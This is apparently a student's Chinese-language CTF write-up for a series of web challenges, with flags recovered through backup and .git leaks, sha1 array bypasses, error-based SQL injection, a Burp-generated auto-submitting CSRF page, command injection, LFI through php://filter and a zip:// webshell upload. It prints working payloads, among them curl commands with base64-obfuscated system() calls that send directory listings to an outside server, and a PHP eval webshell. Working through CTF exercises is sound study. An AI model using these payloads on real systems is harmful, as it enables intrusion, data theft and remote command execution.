找回感觉了,仿佛大一的第一道web题,哭唧唧,工作室里没人陪我,一个人复现。ctrl+U查看源码,找到注释的flag,页面提示base64解密,解密即得flag
SYC{F1@_4s_h4Lpfullllll}
备份是个好习惯,http://47.100.46.169:3901//www.zip,下载到备份文件,flag.txt是个假的flag,查看index.php可见
利用hackbar以post方式传入参数
SYC{Backup_1s_4_good_h4bit_l0l}
访问界面,直接报了405的错
百度发现是访问本页面的HTTP方法不被允许,换种请求方式,在postman里用post请求本网址,返回内容
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
传入roam1和roam2变量相等但是哈希值不一样,emmm,传入数组,因为各种哈希都无法对数组进行操作,会返回False。然后又因为False === False => True,所以顺利绕过。返回phpinfo界面在里面找到
众所周知,一般的Apache和nginx的根目录是
/var/www/html,所以只要访问http://49.234.224.119:8000/f1444aagggg.php即可。
当场哭唧唧,但是访问其他不存在的路径时,下面会出现版本号,所以这个页面是出题人故意写的。
结合hint2:Try to use burpsuite to do this challenge,在返回头中找到flag
SYC{w31c0m3_t0_5yc_r0@m_php1}
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。
先访问一下http://47.100.46.169:3902/.git/
好的,git源码泄露,上GitHacker
安装参考文章安装GitHacker
这里有个小坑,直接下载GitHacker.py,无法使用
在生成的47.100.46.169_3902里找到fl4g.php,但是提示flag is toooo old!
结合题目提示,版本信息更改了,使用 git log -p
查看git日志,即可在日志里找到flag
SYC{I_10ve_syc10ver_101}
提示种下了木马,在界面上提示有一个备份文件
直接访问目录把文件下载下来
发现是一句话木马,中国蚁剑连一下,根目录下发现flag
SYC{1iuzHuang_yyd_G0d!}、
你相信这世界上有黑魔法吗?是一些黑魔法函数
打开链接,要求上传a和b两个变量
123qwe
,123后面加一些字母/字符就行你想了解带恶人六撞吗,数据库里有大家关于他的描述。
提示到数据库了,就考虑注入吧
sqlmap可以跑
SYC{liuzhuang_4s_@_G00d_m@n}
手工注入
?id=1'
返回:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
#判断存在sql注入
报错注入
先尝试
?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
返回:hacker?
接着尝试别的报错函数
?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
返回:XPATH syntax error: '~geek_sql'
然后查看表名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
返回:XPATH syntax error: '~blog,fllllag'
查看列名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
返回:XPATH syntax error: '~id,fllllllag'
查看fllllag表中的fllllllag列
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
返回
XPATH syntax error: '~welcome_to_syclover,longlone_ne'
好像没有回显全部内容,应该是extractvalue函数存在回显长度,配合limit回显每一行的内容
?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
返回
XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'
听名字是卖flag的,哈哈哈,csrf跨站脚本伪造,在管理员的登录态收到你传入的指令去执行只有管理员有权限的操作,听着好绕。
打开界面是个登陆界面,hint里提示不要去构造admin登录,那我就自己注册一个账号,登陆上去
登陆上界面后发现需要很多钱购买flag,然而自己只有11元,翻了翻界面只发现转账和报告界面,转账界面发现可以给别人转钱,自己这么穷还给别人转钱吗,沉默,自己给自己转钱也被ban掉,后来在主页发现财富榜,财富榜就很可疑,你这么有钱可不可以转给我一些,白嫖精神上线。
财富榜1是Longlone,结合在报告里看到的他会看每个回复也就是他会点击我们的回复,于是我们可以伪造出向我转钱的请求,在Longlone的登录态下被点击,钱钱不就到手了吗
利用burpsuit生成csrf的攻击html
抓到请求后,右键生成csrf的poc,但是想让poc自动提交,还有加上一点scripts
复制下来加上一点javascripts内容
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="re1wn" />
<input type="hidden" name="money" value="100000000000000000000000000000" />
<input type="hidden" name="messages" value="nihao" />
<input type="submit" value="Submit request" id="click"/>
</form>
<script type="text/javascript">
document.getElementById("click").click();
</script>
</body>
</html>
<input type="submit" value="Submit request" id="click"/>
</form>
<script type="text/javascript">
document.getElementById("click").click();
</script>
这小部分的配合达到自动提交请求的功能,将文件放到html,放到云服务器上,得到一个链接。
然后提交报告,提交报告涉及到md5的爆破
#-*- coding: utf-8 -*-
#!/usr/bin/env/python
from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '06cf6' #已知的md5明文
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:5] == knownMd5:
print(code)
break
list=[]
for i in range(3): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
提交上去不一会,钱钱到账。
SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}
非预期解:
nginx服务器查看日志的payload
?phpfile=…/…/…/…/var/log/nginx/access.log
查看日志得到某师傅的payload,直接读取flag
常规解法:发现可以列文件listdir.php,读文件displaySourceCode.php,尝试读listdir.php。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>教案</title>
</head>
<body>
include("waf.php");
// 设置目录名称并进行扫描。
$search_dir = $_GET['dirname'];
$title = "教案";
// 防止命令注入
$search_dir = shellWaf($search_dir);
//$contents = scandir($search_dir); 或者使用
exec("ls $search_dir", $contents);
print "$title
";
// 列出文件。
foreach ($contents as $item) {
if ( is_file($search_dir . '/' . $item) AND substr($item, 0, 1) != '.' ) {
// 打印信息。
print "$search_dir/$item\">$item
";
}
}
?>
</body>
</html>
关键是exec里的$search_dir可以构造,但是waf.php里过滤了一些字符,读一下waf.php
// 防御XSS
function html($string) {
return htmlspecialchars($string);
}
// 防御命令注入
function shellWaf($string) {
return preg_replace("/(&)|(\|)|(>)|(<)/i", "", $string);
}
preg_replace正则表达式的匹配只过滤了& | > <
,存在RCE
由于没有回显,故vps上nc接受信息
这里考虑过flag在哪里,不在根目录下,listdir.php里的is_file只显示文件,但是没有显示flag文件,所以推测flag在根目录的文件夹里。
先构造payload
http://47.94.239.194:8082/listdir.php?dirname=/;curl%20120.53.226.203:1234?hello=`ls%20/`
只回显了bin说明成功了,但是信息被空格或回车截断了
用base64加密绕过,考虑到|
被禁用,所以先base64加密再base64解密绕过。
http://47.94.239.194:8082/listdir.php?dirname=/;php -r 'system(base64_decode("Y3VybCAxMjAuNTMuMjI2LjIwMzoxMjM0P2hlbGxvPWBscyAvfGJhc2U2NGA="));'
http://47.94.239.194:8082/listdir.php?dirname=/;php -r 'system(base64_decode("Y3VybCAxMjAuNTMuMjI2LjIwMzoxMjM0P2hlbGxvPWBscyAvZmxhZ2dnZ2dnZ2dnZ2dnZ2dfMXNfaGVyZS8qfGJhc2U2NGA="));'
http://47.94.239.194:8082/displaySourceCode.php?phpfile=../../../../../flagggggggggggggg_1s_here/flag
文件包含LFI漏洞
情景:
(1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞)
(2) 但是你没有地方可以upload你的webshell代码
(3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花)
(4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去
利用page=php://filter/read=convert.base64-encode/resource=
payload
http://120.27.146.26:8002/index.php?page=php://filter/read=convert.base64-encode/resource=login
login不加php,是因为http://120.27.146.26:8002/index.php?page=home
home没加php
查看login.php,表单提交部分为重要代码
<form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">
表单提交到admin/user
查看admin/user
payload
http://120.27.146.26:8002/index.php?page=php://filter/read=convert.base64-encode/resource=admin/user
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "";
die();
}
?>
用户名Longlone,密码为弱比较,password传空,cookie值清除,成功登录。
登录之后发现上传,同时在上面的admin/user里看到上传的php代码。采用白名单检测。
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "";
} else {
echo "";
}
}
}
?>
利用压缩包白名单绕过,传马
在一个php文件里写一句话木马
eval($_POST(['cmd']);
?>
保存为1.php
添加到压缩文件,生成一个.zip
改.zip压缩包为.jpg后缀
上传文件
成功上传
利用zip伪协议执行一下
zip:// + zip路径 + %23 + php文件名
http://120.27.146.26:8002/?page=zip://assets/img/upload/fda4774a737ed5d17103d8cb28ef0055d3c82bd6.jpg%231
#这里不加.php后缀是因为在index.php包含的时候默认加上了
payload
http://120.27.146.26:8002/?page=zip://assets/img/upload/fda4774a737ed5d17103d8cb28ef0055d3c82bd6.jpg%231
蚁剑直接连上,在根目录下看到flag。
SYC{php_15_635t_1@n94a93_1n_th3_w0r1d!}
给了个输入框,让输入答案,一开始没反应过来,后来发现答案在cookie里,好像之前利用cookie作验证码效果差不对,写一个脚本
import requests
import time
req = requests.session()
req.get('http://120.79.197.4:5000/')
while True:
#print(str(req.cookies))
print(str(req.cookies)[34]) #34是数出来的,233
ans = str(req.cookies)[34]
#print(ans)
data={'answer':ans}
time.sleep(0.1)
l = req.post(url = 'http://120.79.197.4:5000/check',data=data)
#print(l.text)
if "SYC" in l.text:
print(l.text)
break
time.sleep(0.1)
req.get('http://120.79.197.4:5000/do_answer')
SYC{this_is_your_flag}